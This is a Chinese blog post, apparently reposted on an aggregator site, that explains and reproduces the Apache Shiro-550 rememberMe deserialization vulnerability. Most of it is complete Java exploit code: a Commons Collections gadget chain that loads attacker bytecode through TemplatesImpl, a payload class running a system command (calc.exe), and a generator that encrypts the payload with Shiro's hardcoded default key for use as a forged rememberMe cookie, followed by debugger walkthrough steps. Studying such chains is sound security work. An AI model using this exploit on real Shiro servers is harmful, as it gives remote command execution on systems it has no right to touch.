当前位置 : 主页 > 编程语言 > 其它开发 >

shiro-550反序列化漏洞

来源:互联网 收集:自由互联 发布时间:2022-07-14
1. 漏洞成因 为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版
1. 漏洞成因

为了让浏览器或服务器重启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞

2. 漏洞复现 POC:
点击查看代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/*
HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()->
TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() ->
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
 */

public class CC_Shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);
	// 这里是查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

再写一个类来调用POC类中的getPayload方法同时传入恶意命令的字节码,因为这条链的命令执行方式是通过最后的defineClass()进行类加载执行,并将返回的序列化后的数据通过shiro的加密方式进行加密

点击查看代码

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Main {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

最后还有一个用来生成命令执行字节码的类,分析过CC3就知道,必须继承AbstractTranslet同时实现两个抽象方法

点击查看代码
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

总的代码逻辑就是Main函数启动,首先通过javassti将Evil类转成字节码然后传递给CC_Shiro的getPayload函数,在其中执行完构造好的代码后返回恶意的序列化内容,将返回的内容以shiro默认秘钥和AesCipherService类来进行加密,加密后的内容输出,而这就是我们需要的payload内容,将其替换shiro框架Cookie中的rememberMe字段发送给服务端即可造成命令执行

利用链分析

HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()-> TiedMapEntry#getValue() ->
LazyMap#get() -> InvokerTransformer#transform() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

总体就像前面是CC6的前半部分加上CC4后半部分通过类加载进行命令执行(这里查看了P牛的文章,在CC6中可以不适用ysoserial中原本的HashSet,直接使用HashMap,因为HashMap的readObject()就直接调用到了hash()方法),所以这条链就直接以HashMap#readObject()作为入口

为了方便调试这里在POC代码随便改改,把反序列化部分也加上

点击查看代码
package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/*
HashMap#readObject() -> HashMap#hash() -> TiedMapEntry#hashCode()->
TiedMapEntry#getValue() -> LazyMap#get() -> InvokerTransformer#transform() ->
TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
 */

public class CommonsCollectionsShiro {
    public static void main(String[] args) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
        new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");
        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("serialize"));
        outputStream.writeObject(expMap);
        outputStream.close();

        ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize"));
        in.readObject();
        // ==================
        // 生成序列化字符串
//        ByteArrayOutputStream barr = new ByteArrayOutputStream();
//        ObjectOutputStream oos = new ObjectOutputStream(barr);
//        oos.writeObject(expMap);
//        oos.close();

//        return barr.toByteArray();
        return new byte[]{};
    }
}

这条链与之前CC链最不同的点就在于new TiedMapEntry的时候直接把TemplatesImpl对象作为key传入,而这个key会作为LazyMap#get(key)方法的参数,最终作为InvokerTransformer#transform(key)的参数,实现反射调用TemplatesImpl#newTransformer(),后面就是CC3的命令执行流程了,这样就可以将前后两部分拼接起来

这样做的目的是因为在shiro中不能使用原本CC6的Transformer数组,我们只能进行改造使其编程没有数组的形式,原因可以参照下面的参考文章,简单来说就是如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,所以有Transformer数组是反序列化会出异常而无法正常执行下去

因此我们发现了TiedMapEntry构造函数和getValue()函数的配合能直接让
InvokerTransformer#transform函数的参数input为TemplatesImpl的对象,这样就可以直接反射调用到TemplatesImpl#newTransformer()方法

接下来进行下调试复现
在HashMap#readObject()中的hash()函数这下断点开始调试
image
进入hash方法
image
进入hashcode方法
image
再进入TiedMapEntry的getValue,此时this.map是LazyMap,而this.key正是TemplatesImpl对象,它是在new TiedMapEntry时在构造方法传入的
image
进入get方法后后面就是CC3后面的过程
image

利用生成的payload完成复现

运行Main.java就可以生成payload
image
自己搭建一个有该漏洞的shiro版本的靶场
将payload替换rememberMe,即可命令执行
image

参考文章:https://www.anquanke.com/post/id/192619、《java安全漫谈15》-phith0n

It is never too late to learn 个人博客:yiaho.cn
上一篇:JDBC的详细讲解和注意事项
下一篇:没有了
网友评论